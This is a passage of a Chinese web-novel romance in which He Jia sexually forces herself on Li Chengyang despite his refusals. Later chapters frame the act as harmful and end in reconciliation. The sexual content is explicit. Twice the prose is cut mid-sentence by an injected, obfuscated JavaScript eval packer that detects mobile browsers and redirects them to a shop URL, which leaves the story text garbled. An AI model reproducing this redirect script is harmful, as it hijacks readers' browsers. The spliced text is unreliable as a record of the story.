李成杨试着推开她的脸,但她使出全身力气将他压在身下,不让他说话,也不让他呼吸。 他的气息越来越急促,开始适应她的节奏,手掌不经意攀上她的后腰,却触碰到一片冰凉的皮肤。 “何嘉。” 他忽然叫了她的名字,再强硬地将她扯开,怀疑她会挣扎又捏住她的手臂,把她禁锢在怀里。 女孩剧烈喘气,呼吸打在他的脖子上,叫他怀疑那是烙铁,要将他烫出一个印记。 李成杨咽了咽嗓子,尽量平静地问她:“怎么了?为什么跑到我这里来?” 何嘉沉溺在他的温度里无法自拔,眼神有了迷醉的迹象。 她抱住他的脖子,声音发哑:“我想你,我想你。” “你想我可以给我打电话,我刚才说过要来接你。”他抚摸她的头发,想要她安定下来,“你先回去把裤子穿上,再和我说今天发生了什么,听见了吗?” 何嘉摇头,一直摇头,死死抓着他的皮肤,害怕他要推开自己。 他后颈发疼,疑心她在上面抓出几道血痕,但他没有说,还是问她:“到底怎么了?你最近到底怎么了?” 何嘉埋在他的怀里,泪水滴在他的心里。 她小声啜泣,声音含糊不清:“……李成杨……我……” “乖乖,别哭。”他轻拍她的后背,安抚道:“别哭,告诉我,发生什么了?” 何嘉的泪水浸湿他的胸膛,白色的短袖渗出灰暗的痕迹。 她抓着他的衣袖,在他胸前断断续续地说:“我……我一下子什么都有了,但是……但是我还是想要很多东西……为什么,为什么我觉得自己什么都没有?” 李成杨不知道她在说什么,也不知道她指的是什么东西,他替她擦去泪水,恳切地看向她的眼睛:“你想要什么?说出来,我什么都会满足你。” “真的吗?”她迷茫地凝视他,又说了一句:“是真的吗?” 他点头,吻了吻她的眼睛:“是真的。” 她撑在他的胸膛,仰着头对他说:“我想要你的钱和房子。” “我都会给你。” 她说:“我想要你的生命。” “我也会给你。” 她说:“我想要你的爱。” “我已经在爱你了。” 是爱,他说“爱你”。 心中急剧震荡,像一把利剑连着荆棘刺痛她的心脏,她大脑一片空白,听不明白这话的意思。 这样的她,他也会爱吗? 无论是什么样子的他,他都会爱吗? 对,他刚才说,他已经在爱她了。 不管真假,他都说过。 何嘉抱住他的身体,一寸一寸感受他的热意,他的体温环暖洋洋的,让她一刻都不愿意离开。 她摸了摸他的头发,发现发梢已经长长,和他对待她的方式一样柔软。 “我只想要你。”她推翻所有的假设,回应了他的那句,爱你。 李成杨抚摸她的脸颊,眼神变得很温柔。 “嗯,我在这里。” 何嘉心脏猛跳,凑近他,去嗅他身上的味道。他们住在一起,用相同的沐浴露,是一样的香气,但她就是觉得他身上的香味更好闻。 沾染了属于他的荷尔蒙,每个分子都在勾引她堕落。 她轻舔他的耳垂,抬眼蛊惑他:“成杨哥哥,你在这里盖个章好不好?” 她拉开衬衫,指了指胸口的位置。 李成杨瞥到那处雪白,闭了闭眼,将她的衣衫整理好,对她说:“不可以。” 她很固执地看着他:“可以。你刚才说了,我想要什么你都会满足我。” 小姑娘隐匿在黑暗之中,客厅的幽光打在她背上,她像恶魔又像天使,让他沉沦在她的眼里,无法言语。 她俯身问他:“李成杨,你会离开我吗?” “不会。”他将她侧脸的碎发撩至耳后,再次肯定:“不会。” 就是这句话,如同钥匙 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他的口腔湿滑,每个细胞都让她想要更多,一股恐怖的想法在她脑海中不断叫嚣。 如果可以的话,她要杀掉他,把他永远带在身上。 他不能拒绝她,他不能离开她。 一辈子属于她。 李成杨固执地推开她,她却像一只真正的蜜獾那样,狠决、迅速地凑到他耳边,一遍又一遍警告他:“李成杨,你不许离开我,你不准离开我。” 他被她的样子吓了一跳,差点忘记,蜜獾是哪种动物。 它是天不怕地不怕的最佳猎手,它凶猛、顽强、聪明、无所畏惧,它生活在非洲的草原和荒漠,捕食剧毒蛇类,是它的天性。 现在,李成杨就是她的毒蛇,让她甘之如饴。 何嘉的手还停留在那处放肆,紧攥他羞耻又愉悦的神经。 “何嘉!” 李成杨恶狠狠地一字一句:“放、开、我。” 他伸手掀开她的触碰,眼里愠怒升温,下颚绷得很紧:“现在、从我的床上滚下去。” “我不。” 何嘉朝他露出一个异样的微笑,手掌重新探进他的衣摆,是步步紧逼,也是得寸进尺。 李成杨呼吸不稳,太阳穴猛烈跳动。 他眼尾红肿,忍着怒意训斥她:“……快放开!” 她却无辜地睥睨他:“你真的要我放开吗?你不想吗?李成杨,是你说的,你就在这里,是你说的,你不会离开我,是你说的,你爱我。” “李成杨,你在骗我吗?” 他咬紧牙关,额上出了好多汗。 “放开。”还是这句。 何嘉摇了一下头,俯身在他脖子上发狠亲吻,又用力咬了几口,每一口都铆足力气。 那个位置,她从前告诉过他,很不安全,如果动作不当,也许会休克,也许会死亡。 她呆呆地问他:“你会死吗?” 很快又自我补充:“你死了我也会死。” “何嘉,何嘉。”李成杨开始喘气,唯一残存的理智一直提醒他:“放开我,这样不对。” 她却堵住他的嘴巴,手指插进他的发梢,一瞬间吞没他。 两人都闷声一颤,痛苦在这一刻链接,没有人逃得过诅咒。她像个女巫,咬破他的嘴角,用血液将两具躯体连成同一种命运。 心跳贴近,他们是汹涌的河。 李成杨喘着粗气反咬她的嘴唇,下足力气,将要她从失魂之中拉回原地,但她反而坚决地回应,忍着痛苦描摹他唇间的风景。 他重重咽下喉咙,想推开她,却被她抓起手,毫无预兆地带到腰间。 女孩的衬衫搭在肩上,早就半褪不褪,他没有任何阻挡地碰到她腰间的皮肤。 软滑充盈他的手掌,他止不住抓紧她的后腰,指尖无意识下滑。 “何嘉……” “何嘉……” 他的大脑被一股原始的欲望蚕食,可他还想保存余地,将她的细腰提起,要她马上撤离。 “不对……不对……” “很对。就是这样。”何嘉昂着头,像小狗一样轻舔他的喉结,“真的不对吗?你告诉我哪里不对?我不会,你教教我好不好?” 李成杨全身战栗,捏着她的腿,将她整个人抬起来,声音沉哑:“何嘉,停下。” “停下吗?成杨哥哥,我们还可以停下吗?”何嘉面色绯红,紧紧箍住他的腰,狠着力气下落,与他紧紧相贴。 李成杨眉心紧缩,痛苦地闷哼一声。 “成杨哥哥。”她拥有了一种陌生的酸胀,忍不住小心起伏,又胆小地吸了两口气,双手捧起他的脸颊,抖着声音对他说:“成杨哥哥,我们永远在一起好不好?” 李成杨看到她眼里的渴望,又听到她轻软的喘息,一时间头痛欲裂,身体开始不受控制地迎合,跟着她起起落落。 那瞬间,他想奉献自己的生命。 如果是为她,那么他心甘情愿地死去。 何嘉看出他的反应,更加用力地抱紧他,让他内心的火焰一路蔓延,想要焚烧她,再湮灭她。 但是,错误就是错误。 他最后一丝理智尚存,将那些不合时宜的罪恶念头全都覆灭,他的意识突然变得很清醒,他明白现在是什么情况,也知道什么应该什么不应该。 “李成杨,李成杨。” 女孩还叫着他的名字,他却在她肩上撕咬般重重一啃。 “嘶——”何嘉吃痛,有一瞬愣神。 几乎是在一念之间,他就将她果断提起,扯开压在身下的被子,将她全都裹在里面。 她又成了一个团子,全方位包裹,找不到任何呼吸的缝隙。 艰难中动了动手,她发觉肩上传来一阵刺痛,又扯了扯被子,明白一切都不过是徒劳,连抗议的资格都没有。 “李成杨……” “闭嘴。” 男人不再看她,将身上的塑料一把取下,攥在手里走了出去。 50. 第50章 李成杨从来都没有想过,他的初次经历会以这样不堪的方式终止。 他自诩自己不是传统的人,但他觉得有些事情必须要认真,要深思熟虑以后才能发生。 他想过,所谓做,,就是要在爱里进行的一件事,他们并非没有相爱,但他清楚地知道,刚才发生的一切都不是出自于爱。 半是困恼,半是燥热,他在淋浴下站了将近一个小时。 最后一次喘息过后,他才展开左手手掌,那团东西一直被他紧握在手心。 刚才出来得太匆忙,他根本就没有查看它的样子。 现在灯光明晃晃的,他低头去观察它。 上面带着一丝红线,还有何嘉的甜腻,不论是颜色还是气味,都猛烈地刺痛他的神经。 他记得,红色是惩罚,是诅咒,是暴力,是孽债,是一根绞在他脖子上的枷锁,再稍微动一下,就会将他轻易杀死。 他倒是宁愿去死。 但他不明白。 他的姑娘,他的小朋友。 他们之间,怎么会这样? 不,他们不是不会这样,而是这不是他所预料的那样。 他一直觉得,他们应该再磨合一段时间,要足够了解、足够信任,才能一起度过这样的时刻。 可今天,她的举动完全打破了他的计划。 她的吻,她的温度,是一把弯刀,剜去他心脏最重要的起搏器,让他现在就羞愧得快要死去。 他生来就带着原罪,他也是罪人。 内疚和羞耻填满他的脑海,他一遍又一遍回想告白那天,女孩哭着对他说,自己一直都在喜欢他;又想到回余川那天,他是如何告诫她,这种事情无论是谁都不可以草率。 但是现在有什么用呢? 它们如镜子般破碎,划伤他,让他不停流血。 罪恶扭曲的情绪在心中盘旋,他太阳穴一直隐隐作痛,从刚才到现在没有一点好转。 最后看了看那丝红线,他将整团东西扔到垃圾桶里。 他在淋浴下不断冲刷自己,借着水珠流下一滴意味复杂的泪水。 那滴泪水将红色稀释,变成了黑色的厉鬼。 那只鬼一直缠在他后背,让他想起很多从前的事情,那些他从来都不想回想的记忆。 他从少年时代就发誓,自己一定不会成为李建峰那样的人。 如果他找到另一半,一定不会让她看到罪恶的红色,他会温柔地对待她,用尽全力呵护她,要将自己拥有的一切全都双手奉上。 他要爱她,陪伴她。 可就在刚刚,在这种事情上,两人因为粗暴对抗,都迸出猩红。 他轻触嘴角和脖颈,每个位置都被她咬得渗血,在热水下疼得发抖。 而她,他的宝贝…… 他说不出话,黑色占据他的内心,胸腔里愧意怒意交缠横生。 又过了五分钟,他将衣物穿戴好,收拾了满地狼藉。 然后压着不适走出洗手间,艰难地站在书房门口。 何嘉早已解开被子的束缚,躺在床上什么也没有穿,就连那件衬衫,都被她丢在地上乱成一团。 察觉到他的身影,小姑娘立马坐起来,神色探究。 她叫他:“李成杨。” 他只说:“别叫我。” 她慌了,想即刻起身对他说点什么,但他立马关上房门,在门外留下淡漠的一句:“你现在睡觉。” 何嘉怔住,盯着房门没了力气。 她感觉四肢疲软,连坐都坐不起来,身体一直在疼痛,不断提醒她应该立马休息。 她确实这么做了,将李成杨的被子盖好之后很快就要进入梦乡。 意识飘在身体上空,她什么都没想,只知道自己感到满足,就连李成杨可能会对她生气,她也无比满足。 果然。 当精神空虚的时候,只有肉.体能证明存在。 这么想了一句,她弯了弯唇角,沉浸在所谓的“爱”里。 再睁眼的时候,何嘉茫然地盯着白墙。 她是被手机铃声吵醒的。 手机摆在书桌上,旁边放着一套白色的衣物,是她常穿的衬衫和长裤。 衣物之上还摆着两件带有碎花的内衣。 她奇怪地盯着它们,猜测这是李成杨给她拿过来的,只是不知道他什么时候来过。 穿好衣服,她又发现地上的那件蓝色衬衫也已经被他收走,没留下什么痕迹。 “李成杨——” 小姑娘拉开房门往外走,就想叫叫他的名字。 李成杨站在客厅整理衣服,因为要上班,他又穿了那件灰色的工服,只是黑着脸不讲话。 何嘉走到他身边,拉了拉他的袖口,“李成杨。” 他扯开她的手,看都没看她一眼。 她明白他是真的生气了,和以前那些情况都不一样,是真正的生气,并且介意。 “成杨哥哥,你生气了对不对?” 听到这个称呼,他飞速剜了她一眼,警告她闭嘴。 她还站在他身边打量他。 男人的身量挺拔,短袖工服穿在身上,将他的宽肩窄腰一一勾勒出来,甚至还可以看到他胸前的肌肉贲张,连着他的手臂展示出一种矫健的力量。 视线向上,他咬着下颚,唇边有一处破损,脖子上的青筋凸起,麦色的皮肤上躺着好几个刺眼的红印。 “看什么?”李成杨朝她转身,语气不快。 何嘉抬头仰视他,见他整个人都笼罩着一股黑气,让本就具有攻击力的五官更加强势。 他朝她走进,刻意不低头,偏要用自己的影子覆盖她,给她一种极大的压迫感。 她有点不敢说话了,小声咕哝:“看,看你好看。” “呵。”他冷笑一声,怒气冲天:“你还敢看我?” “我不敢……”她低下头,攥着他的衣角。 “你不敢?我看你没什么不敢的。” “对不起。” “放开。” 说完这句话后,两个人都诡异地顿了顿。 何嘉这次立马撒手,像只兔子一样盯着他。 “对不起。” “嘘。”他忍着火气指向桌子上的一袋东西,“这是什么?嗯?” 她脸上燥热,只说:“这是我的东西。” 他质问她:“你的东西?你的什么东西?” “我的……我的那个。” “你的哪个?怎么?敢做不敢说?” 她闭了闭眼,硬着头皮说:“我的套。” “你的套?你什么套?不会好好说话?” “……那个套。” 她实在说不出口,羞得脖子根都红了。 李成杨没得到满意的答案,冷笑着抓过那袋东西,看了眼脚边的垃圾桶。 何嘉看出他的意思,连忙拉着他的手臂问:“你干嘛扔我的东西?” 你还敢问?? 李成杨咬牙切齿:“丢了又怎样?这东西你还想再用在我身上?” 她开始别扭:“那我不跟你用。” 他怒气攻心,一下气笑了,“你不跟我用你还想跟谁用?!” 时间静止两秒,李成杨发现自己又着了她的道。 何嘉趁机抗议:“你前言不搭后语,明明是你不准我再跟你用,那我不跟你用就好了,但你又不准我跟别人用,你好凶。” 他凶? 李成杨怀疑自己快要被她气到吐血,索性把那袋东西丢在桌子上,威胁她:“下次再让我看到这袋东西,我就全丢了。” “不行!很贵的。” “所以呢?” “我刷了一千多呢,这么多盒够我们以后用好久了。” “……” 他真的拿她一点办法都没有,怀疑牙齿再绷一会儿就会直接碎掉。 好,他管不了她,那他走还不行吗? 李成杨大步走向门口,关门之前恶狠狠地告诫她:“厨房有面包,你爱吃不吃,吃了滚去上班。” 又是前后矛盾的一句话。 李成杨就是再生气还是改不了照顾她的习惯。 何嘉默默走到厨房,烤箱里烤好的吐司还是温热的,吃起来很软还带着一点甜味,就像他的嘴巴一样。 她将整个吐司全都吃掉,又喝了一杯牛奶,觉得胃里舒服了才去上班。 今天天气好,气温又升高几度,何嘉穿着那件长袖衬衫,感觉背心一直发热。 她将袖子挽在手臂上,整个人多了一丝清爽的利落。 有几个同学在路上碰到她,对她亲切地打招呼:“何老师好!” 她朝她们灿烂一笑:“你们好。” 其中一个同学凑到她身边,问她:“何老师,你今天心情好好啊。” “有吗?”她没注意呢。 “有的,你前段时间整个人看上去脸色很差,吓得我们都不敢和你讲话了。” 她习惯性糊弄一句:“哈哈,没有呀。” 那几个同学举了几个例子和她掰扯,一路上又聊了一会儿。 直到她坐在自己的工位上,才仔细回想她们刚才说的话。 前段时间确实心情很差,就连昨天的心情也没有多好。 可是在虚无之中有人说了爱她。 那么她觉得那些糟糕的东西都无所谓了,就算是再大的问题也可以被一一解决。 她不再细想李成杨为什么会喜欢她,以及会不会不喜欢她,毕竟他说过,他已经在爱她,那就不必再纠结那些虚无缥缈的东西了。 至于他的怒意,那就再好好哄一下,总有一天,他会原谅她。 也许是明天,也许是后天? 反正他就是那么心软的人。 理清逻辑,她开始批阅试卷,一连几个小时,椅子都没挪动一下。 等到吃中饭的时候她才起身,身上那种酸胀和刺痛被皮肤牵扯着,让她皱了皱眉。 但她很快就适应了。 那是她拥有他的证明,她觉得快乐。 带着这样的满足感,她一整天的工作都非常高效,一眨眼就到了下班的时间。 十点过一点,她回到客厅的时候,李成杨像往常一样坐在沙发上玩手机。 何嘉放下提包,站到他面前,戳了戳他的肩膀。 “李成杨,我回来了。” 男人没抬头,只说:“我不聋。” 她坐在他身边,用头蹭了蹭他的脸颊,“李成杨,我说我回来了。” 他推开她的脸,冷声说:“我不瞎。” “那你是不是在等我?” “我等鬼。” “你是不是还在生气?” “呵呵。” “好吧。”何嘉抱住他,在他怀里撒娇,“对不起,是我做错了,你生气也是应该的。” 他还是没看她,把手机丢在沙发上,指了指桌子上的药袋,“自己擦药。” “什么?” 他忍着脾气,“我说,自己往你那儿擦药,还有你肩上。” 她顺势摸了摸肩膀上的那个咬痕,今天都把它搞忘了。 何嘉拿起那个袋子,里面装的都是消炎止疼的药品,大大小小一共五支。 “你怎么会买药给我?” 他懒得回答。 她又问:“你生气的话,为什么又给我洗衣服又给我买药?” 李成杨轻挑眉毛,“我什么时候给你洗衣服了?” 何嘉回忆了一下,“我今早起来没有看到我昨天穿的衣服,客厅里也没有昨天脱的裤子。” 他嘴硬道:“那又怎样?” “没有,就是觉得确实是我过分了。” “你还知道?” 她斟酌了一会儿,继续说:“李成杨我真的知道错了,我以后都不会这样了。” “你错哪了?” “有点太突然了。” 李成杨陷入沉默,从来没有这么无力过。 她竟然只说了一句,太突然了。 他一下没了心情,不想再跟她说这个话题。 又指了指药膏,赶她走:“去擦药,我现在不想和你说话。” 何嘉坐在原地不动,不明白他为什么还是没有松口,他还在生气。 “李成杨,你为什么要在这件事上那么生气?” 男人听到这话直接从沙发上站起来,瞪大眼睛,不可置信地审视她。 何嘉眼里满是不解,开始坐立难安。 “我又说错什么了吗?”她问。 他喉咙发涩,深呼吸两下,挠了挠头发,用一种低沉压抑的语调问她:“你认为,我不应该那么生气吗?还是你觉得,我生气的原因仅仅是因为太突然了?” 何嘉放下手中的药袋,拉住他的手,“不是的,你生气是应该的。昨天,是我没有尊重你,还侵犯了你……是我强迫你承受了这种事情。李成杨……我知道自己做错了……” “对,你没有尊重我,但更重要的是你没有尊重你自己。这是我生气的点,但只占其中很小的一部分。”李成杨将她的手推开,双手握住她的肩膀,“你再好好想想呢?还有什么,是不对的地方?” “我……我不知道。”何嘉被他盯得发怵,脑子里一片空白,“但是我觉得那是我决定了好的事情,我没有不尊重自己。” 他摇了摇头,放开她,“何嘉,你好像还没有搞清楚状况。这件事情对我、对你、对我们来说,不是那么简单的事情,它很重要你知道吗?” “我知道这种事情很重要,但是我们不是互相喜欢吗?那样的话也不可以吗?” “不,不对。”李成杨朝她摇头,眼神变得很疏远,“我不是说和你做,,这件事很重要,而是说昨天发生的这件事,如果不搞清楚,就会对我们的关系造成巨大的影响。” 她还是很迷茫:“为什么?你告诉我好不好?” “你好好想想,我最近、包括昨天,发现你情绪不对的时候,是不是一直在问你发生什么了?” “是。” “那你有没有告诉我?” “没有。” “你为什么不告诉我?” “……我,我不知道。” “你不是不知道,你是不信任我。” “我没有!” “那好,我们来梳理一下。从一开始我就问过你,我尝试和你沟通,但你拒绝。好,可以,我不追问你,我给你空间,我不想让你觉得我插手得太多。但后来呢?” “昨天你遇到什么事情了?是什么能让你这么伤心,以至于你要用一种极端的行动代替沟通?我问了,但你模棱两可,约等于没说。” “你内心就不相信我可以理解你,更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时间,他没有再看她的眼睛,他转身背对她,用手抹了抹脸颊,静静地站在原地。 何嘉不明所以,她轻触他的脊背,问他:“你怎么了?” 李成杨咬了咬唇边的伤口,直到感觉疼痛才转过来面对她。 他问她:“何嘉,你知不知道这种事要因为爱才能做?” 她很快点头,音调委屈:“我知道。难道我们不是因为爱才做吗?你不是说爱我了吗?” “那是爱吗?!” 面前的男人突然歇斯底里,但很快就转化成一种近乎溃败的语气。 他抓着她的肩膀与她平视,忍着胸中的痉挛,声音颤抖: “何嘉,你告诉我,什么是爱?伤害是爱吗?我们在痛苦,也是爱吗?你觉得痛苦是快乐的吗?” 何嘉被他吓了一跳,她从来没有见过他这个样子,看着他的时候眼神迷茫。 她想快点解决这个问题,潜意识要她回答:“只要让我感觉充实、满足的,都是爱,痛苦只是另外一种存在方式。” “不!不对!不是这样!” 那瞬间,李成杨猛地抱住她的身体,将她紧紧搂在怀里。他好害怕,她的小朋友,他的宝贝,为什么会这样觉得? 那不对!那是不对的啊! 痛苦怎么会是爱呢? 怎么会是呢?! 致命的红黑再次吞噬他的心脏,让他想起,自己童年时代和青年时代。 他和他的母亲是如何在痛苦和暴力中挣扎,又是如何因为这些变得血肉模糊。那个时候,言语和身体上的痛苦已经微不足道,最绝望的是精神的崩溃。 他痛得想要死去,一度想要毁灭自己的生命。 所以后来,他将痛苦和爱分得很清楚,它们永远、永远、永远都是截然相反的两种东西。 痛苦,就是痛苦,就只是痛苦,碰瓷了一点爱意,都是对爱的亵渎。 “嘉嘉,嘉嘉,嘉嘉。”李成杨依旧抱着她,慌忙地抚摸她的后脑勺,他俯身亲吻她的脸颊,一遍又一遍地亲吻,吻遍她的每寸皮肤,再重新抱紧她,一直抱着她。 他正处于一种极度的恐惧,不停在她耳边呢喃:“不是的不是的不是的……” 何嘉也开始害怕,她环住他的腰身,又蹭了蹭他的脖子,和他一起说:“不是的,我知道了,不是的。” “嘉嘉,嘉嘉……” “我在,我在。” 听到这话,男人再也按捺不住心中的惧意,在她肩上崩溃地哭了出来。 身躯如此高大的男人,此刻将头颅埋在女孩的脖颈,他不停落泪,像个无助的孩子一样悲伤。 她的话,他的记忆,像一千米水下的压强,将他决绝地压在汪洋之中,且永世不得超生。 他遏制不住那种濒死的畏惧,甚至开始语无伦次:“嘉嘉,那不是的,不会的……我爱你,我爱你。” 他的泪水浸湿她的肩膀,在上面烫出好大一片痕迹,何嘉想替他拭泪,但他立马捧起她的脸颊,对她说:“嘉嘉,你看着我,你看着我好不好?你听我说,你听我说好吗?” “好……”何嘉看到他哭,自己也跟着哭了起来:“你说什么我都听着,我听着呢。” “对,对,你听着。”他滚了滚喉结,手指打颤。 “爱不是那么崇高的东西,它可以是卑鄙、是下流、是欲望、是善变,但唯独不可以是痛苦和暴力,那是不健康的,那是不对的。” “在我这里,爱是温柔和舒适,是彼此渴望且充满安全感的。” “你站在这里,就算什么都不做,就算什么都做错,只要,你还存在在这个世界上,我就会一如既往地爱你。所以你不需要用情感或者身体索求‘被爱’,我现在,就已经在爱你了,你明白吗?” 何嘉不停抽泣,听到这话的时候做不出任何反应。 他们一直落泪,在沉默之中心碎地对视。 直到过了好一会儿,她的意识慢慢回笼,忽然就明白他在说什么了。 “李成杨……李成杨!” 女孩在他面前嚎啕大哭,豆大的泪珠划过脸颊,重重地滴在地板上,仿佛砸出几个滚烫炙热的伤口。她说:“我明白了我明白了……” 李成杨用嘴唇治愈她的患痛,不断吻去她眼角的泪水,再坚定地抱住她。 不停安抚着:“嘉嘉,没关系的,没事的,我在这里。” “李成杨……” “我在,我在这里,就在你面前。” 何嘉死死抓住他的后脊,用尽全力抱住他。 她止不住哭泣,又一次觉得想吐。 “李成杨对不起,对不起,我怎么会那样对你?对不起……真的对不起,是我太害怕了,我怕你离开我,我怕我什么都没有了,我好害怕,你就在我身边好不好?” “好,好,我就在你身边,我就在这里,别怕。”他轻拍她的背脊,抚慰她:“没关系,没事了,我不生气了,你别伤心好吗?我就在这里陪你,一直陪着你。” “嗯。” 两个灵魂紧紧相拥,他们重塑了时间与距离,建造了一座属于他们的城堡。 那里安全、稳定,给人一种超脱现实的宁静。 他们的泪水联结在一起,这一刻才是真正的存在与拥有。 51. 第51章 何嘉被李成杨抱着,渐渐平静下来,胸腔充斥着一种说不出来的安心。 他们就这么相拥了很久,直到她感觉体力透支,小腿有些发酸。 何嘉点了点他的后背,轻声提醒他:“成杨哥哥,我有点累了。” “嗯。”李成杨带着她坐到沙发上,不舍得把她从怀里放开。 她的头发毛茸茸的,小动物一样温暖。 他在上面轻蹭,声音很软:“乖乖,你要记得我刚才说的话,好吗?” “好,我记得的。”何嘉拉起他的手,与他十指相扣,很坦然地说:“最近发生的事情,我想过两天再告诉你,等我们休息的时候,好不好呀?” 李成杨怕她是迁就他才这么说,选择退步,“不急,等你真的想说的时候再告诉我,我随时都在你身边。” 她看出他的体贴,摇头:“不是的,我真的想告诉你,只是当时心情不好,不知道怎么说,但是现在,我想告诉你关于我的一切。” “好。”他吻了吻她的手背,两个人依偎在一起。 李成杨给他买的那袋药散落在桌子上,何嘉看着它问:“你怎么知道给我买药呀?” 他揉了揉她的脑袋,弯唇:“某人忘了自己昨天的狠劲了?让我有点后怕。” 何嘉脸红,“我那是有点情不自禁了,如果你没有抗拒地那么激烈的话,应该也还可以?” “不可以。”他将脸贴在她耳边,认真地说:“对不起乖乖,让你疼了。” 她又摇头:“你不要跟我道歉,这件事情确实是我做的不对,疼只是一种小小的惩罚。” 他埋在她肩膀上,类似于请求:“我们以后都不要这样了好吗?” 她反应激烈,“什么?不行!那怎么可以!” 连忙又说了一句:“不好不好!” “嗯?”他没反应过来她怎么这么反对,“为什么?” 她看了他一眼,无法理解:“情侣之间怎么可以不做那个事情?你忘记了吗?我可是一直对你图谋不轨的!” “嗯?”他反应过来,笑声在她耳边低低地传来,“我不是说以后都不做的意思,我是说,以后都不可以那么粗暴,你那脑仁一天都在想什么?” 何嘉脸更红了,还是执着地说:“那,那也不行!万一有时候我……” “什么?” 她凑到他耳边:“万一有时候我想你粗暴一点呢?” 他跟着红了耳朵,用手掌蒙住她的脸,“说什么呢?” “就是,我觉得你生气的样子,也很诱人,就像你早上凶我的时候,我就忍不住想和你贴在一起。” 李成杨把她蒙在怀里,无奈道:“你一天天的就知道气我,撩拨我,我都拿你没办法。” “嘿嘿。那你以后都听我的好不好?” “行,听你的,床上尤其。” 后面四个字咬字很重,让何嘉面红耳赤,又忍不住问他:“你说我们昨天算不算第一次?” 他抬眼:“你觉得呢?” “你是第一次吗?” “你觉得呢?” “我不知道,你和你前女友那个过吗?” “没有。” “那你以前有那个过吗?” “没有。” 她不相信:“你都三十二了,还没有过吗?” 他反问:“三十二了就一定要有过吗?” “不是,我听别人说,男人过了三十还是处男,要么是性格孤僻要么性功能不行。” “你觉得我是哪一个?” “你应该不是第一个” “那当然。”李成杨捏了捏她的耳垂,调笑:“至于第二个,你昨天没感受出来?” 她回忆了一下,虽然当时忙着强迫他根本没看几眼,但她实在是忘不了那里尺寸灼热,她怀疑真要完整进行的话,自己可能会哭出来。 “我知道的,你都不是。” “知道就好。” “那你为什么这么多年都没有过啊?” 他环住她的腰,随意解释:“没谈就没有过。” “为什么不谈?” “没精力也没时间。我爸病那会儿忙着存钱,他死了我又得挣钱,后来一边送快递一边开店,心思都放上面了,对别的就不感兴趣了。” 何嘉问他:“那我呢?” “你?”他拖长尾音:“我当然对你很感兴趣。” 她却有点遗憾:“可是我觉得,要是早点认识你就好了。” “早点?再早点你多大?我还做不做人了?” “不是不是,我的意思是,如果我跟你是同一个阶段的人就好了。” “为什么?” “那样的话,我就可以在你艰难的时候陪在你身边呀。” 他说:“不对,我的艰难是我要面对的问题,我不能让你承担不属于你的风险。” 她突然想到“周怀瑾”这个名字,问他:“可是那个时候周怀瑾陪在你身边呀,对不对,你的前女友?” 他有点吃惊,“你怎么知道这个人的?” “我在饭店住的时候,在抽屉里看到她寄给你的文件了,前几天又看到你桌子上有她给你拍的毕业照,名字的重合度有点高,我就猜是你的前女友了。” “嗯。”他摸了摸她的睫毛,客观地解释:“我跟她刚谈上没多久我爸就出事了,当时我提的分手,她同意了,然后借了我三千。她那会儿学摄影的,那个文件里头估计是我的照片,但我觉得没什么意义就没打开了。” “那你们后来还有联系吗?” 他想了想:“09年把钱还了就没联系过了。” 她八卦道:“那她13年又给你寄了文件,是想和你重新在一起吗?” “不是,她那会儿好像已经结婚了,估计是找到以前的相机,顺便洗几张出来给我吧。” “那她应该是个很好的姐姐。如果我也可以和她一样,在你二十多岁的时候就和你恋爱,那样会不会更好?” “你忘了我刚才说什么了?”李成杨将她抱在身上,语气郑重,“那会儿我正在人生低谷,如果恋爱的对象是你,我也会选择分手,我不想因为自己耽误任何人,也没资格让另一半陪我经历这种事。所以你不要说‘如果’,现在就是最好的时刻。我是用最好的我,遇见你。” 何嘉若有所思,“我知道了,就是感觉命运特别奇妙,特别是遇到你这件事,我以前从来都没有想过,自己会开出你这么好的一个隐藏盲盒。我上辈子一定拯救地球啦!” 他看向她的眼神一贯柔和:“是我拯救地球了。你是命运给我的馈赠,你知道吗?” “是吗?” “是。我以前不信命,但遇见你之后就信了。命运就是很奇妙的东西,如果我当年没救我爸,就不会回余川,也就不会遇到你。我从前后悔救过我爸,但是有你之后,我就觉得算了,不想这些了,人果然还是要善良才是真的,善良总会有回报的。” “那你现在还后悔吗?” “不后悔了,我反而觉得自己做了正确的决定。小时候一心想逃离余川,现在却觉得余川这座城市很好,是余川让我遇见你。” 何嘉弯着眼睛对他笑:“是这样的,我也喜欢余川,在余川遇到你,是我觉得最幸运的事。” “又在说好听的话。”李成杨凑近她,闻了闻她唇边甜甜的味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395426|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“你回来的时候吃巧克力了?” “没有啊,那是我唇釉的味道,你没看出来我今天嘴巴颜色不一样嘛?” 他盯着她的嘴唇观察,好像是有那么一点儿红润。 “今天为什么要涂这个?” “因为要庆祝。” “庆祝什么?” 她很大胆地说:“庆祝你变成我的了。” 他勾唇,眼睛微眯,“这样么,那我现在就把它全部吃掉。” “不行!”她推开他,还有问题,“你先告诉我,你以前有没有和那个姐姐亲过嘴啊?” “没谈多久亲什么?” “可是我没跟你谈的时候,你就亲我了。” “我亲你?谁亲谁你不记得了?” 她心虚:“虽然是我先偷亲你,但是后面不是你按着我亲吗?你把我嘴巴都亲肿了,痛了好几天呢。” 他挑眉:“你不喜欢?你刚刚不是说,有时候就喜欢粗暴一点?” “……喜欢的。” “喜欢就好。那时候看到你,不知道怎么就有点忍不住了。” “噢?那就是说,那天之前你就喜欢我了对不对?” 李成杨抚摸她的嘴角,又在上面戳了戳,女孩嘴上的唇釉沾在他指尖,亮晶晶的。 他蹭在她脸上,又在那处亲了一口。 “你天天在我面前晃来晃去,我看到你就心烦。” 